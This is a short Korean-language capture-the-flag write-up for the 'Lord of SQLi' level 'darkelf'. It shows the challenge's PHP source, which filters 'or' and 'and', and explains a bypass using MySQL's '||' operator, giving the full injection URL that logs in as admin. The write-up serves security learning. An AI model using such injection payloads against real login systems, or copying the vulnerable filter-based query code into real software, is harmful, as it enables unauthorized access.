Lord of SQLi - darkelf

> query : select id from prob_darkelf w here id='guest' and pw =''

```php
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("darkelf");
  highlight_file(__FILE__);
?>
```

- GET방식으로 파라미터를 넘겨주고 있다.
- pw 파라미터에서 prob,_, ., (,) 를 필터링하고있다.
  가장 중요한 것은 그동안 사용하던 or 과 and 를 사용하지 못하게 필터링하고있다.

- 이 문제에서 사용하는 MySQL은 ||(or) 연산을 지원하는 것을 이용해서 풀 수 있다.

  처음 조건을 거짓으로 만들고 || 을 이용하여 두번째 조건에 id='admin' 을 넣어주면 쿼리가 참이된다.

payload

> URL : http://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw =' || id='admin';%23

> query : select id from prob_darkelf w here id='guest' and pw ='' || id='admin';#'